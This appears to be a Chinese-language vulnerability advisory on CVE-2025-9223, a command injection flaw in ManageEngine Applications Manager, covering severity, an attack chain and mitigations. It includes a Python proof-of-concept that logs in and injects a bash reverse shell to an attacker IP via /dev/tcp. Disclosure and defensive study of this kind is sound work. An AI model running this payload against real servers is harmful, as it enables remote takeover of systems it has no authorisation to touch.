IPBUF安全漏洞报告
English
CVE-2025-9223 CVSS 8.8 高危

CVE-2025-9223 ManageEngine Applications Manager命令注入漏洞

披露日期: 2025-11-11
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-9223
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zoho Corp ManageEngine Applications Manager

相关标签

命令注入ManageEngineApplications ManagerCVE-2025-9223认证绕过RCE高危漏洞Zoho

漏洞概述

CVE-2025-9223是Zoho Corporation开发的ManageEngine Applications Manager中的一个高危安全漏洞。该漏洞影响178100及以下版本,允许经过身份验证的低权限用户通过"执行程序操作"功能(execute program action feature)注入并执行任意操作系统命令。漏洞产生的根本原因是该功能对用户输入缺乏适当的验证和清理,使得攻击者可以在服务器上执行任意代码,从而可能导致数据泄露、系统完全沦陷或横向移动等严重后果。由于CVSS评分达到8.8且攻击复杂度低,无需用户交互即可实现攻击,因此该漏洞对互联网上的暴露资产构成严重威胁。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞属于Authenticated Command Injection(经过身份验证的命令注入)类型。攻击者需要首先获取ManageEngine Applications Manager的有效用户凭据(低权限即可)。获取凭据后,攻击者可以利用"执行程序操作"功能中存在的缺陷,通过构造特制的命令字符串实现命令注入。漏洞存在于execute program action功能模块,该模块在处理用户提供的参数时未对特殊字符进行充分过滤,允许命令分隔符(如分号、管道符、反引号等)插入到系统命令中执行。成功利用此漏洞后,攻击者可以在运行Applications Manager服务的操作系统账户上下文中执行任意命令,通常为system或administrator权限,从而完全控制目标服务器。攻击向量为网络层面(AV:N),攻击复杂度低(AC:L),无需用户交互(UI:N),对机密性(C:H)、完整性(I:H)和可用性(A:H)均造成高影响。

攻击链分析

STEP 1
步骤1
获取有效凭据:攻击者通过暴力破解、社会工程或其他方式获取ManageEngine Applications Manager的低权限用户账户
STEP 2
步骤2
登录系统:使用获取的凭据登录Applications Manager管理控制台
STEP 3
步骤3
导航到执行程序功能:访问"执行程序操作"功能模块(execute program action feature)
STEP 4
步骤4
构造恶意载荷:在程序名称或参数字段中注入命令分隔符和恶意命令,如使用分号、管道符或反引号
STEP 5
步骤5
触发漏洞:提交构造的请求,使服务器在执行程序时将注入的命令一并执行
STEP 6
步骤6
获取shell访问:成功执行命令注入后,攻击者获得服务器命令执行权限,通常为system权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-9223 PoC - ManageEngine Applications Manager Command Injection Authenticated command injection via execute program action feature """ import requests import json import sys target = "http://target:8080" username = "low_priv_user" password = "password123" attacker_ip = "10.0.0.1" attacker_port = "4444" session = requests.Session() def login(): """Authenticate to Applications Manager""" login_url = f"{target}/j_security_check" data = { 'j_username': username, 'j_password': password } response = session.post(login_url, data=data, verify=False) return 'Login successful' in response.text or response.status_code == 200 def exploit(): """Execute command via execute program action""" # Construct malicious payload for command injection payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" exploit_url = f"{target}/executeProgram" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } data = { 'programName': f'/bin/bash{payload}', 'arguments': '', 'action': 'execute' } response = session.post(exploit_url, data=data, headers=headers, verify=False) return response.status_code == 200 if __name__ == "__main__": print(f"[*] Targeting {target}") print("[*] Attempting authentication...") if login(): print("[+] Authentication successful!") print("[*] Sending exploit payload...") if exploit(): print("[+] Exploit sent! Check your listener for reverse shell.") else: print("[-] Exploit failed.") else: print("[-] Authentication failed.")

影响范围

ManageEngine Applications Manager <= 178100

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制对Applications Manager管理界面的网络访问,仅允许必要的管理IP访问;2)禁用或限制"执行程序操作"功能的使用;3)加强用户认证机制,启用多因素认证;4)监控和审查所有执行程序操作的日志记录;5)在网络层面部署WAF/IPS规则检测命令注入特征;6)考虑在隔离网络环境中运行Applications Manager。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表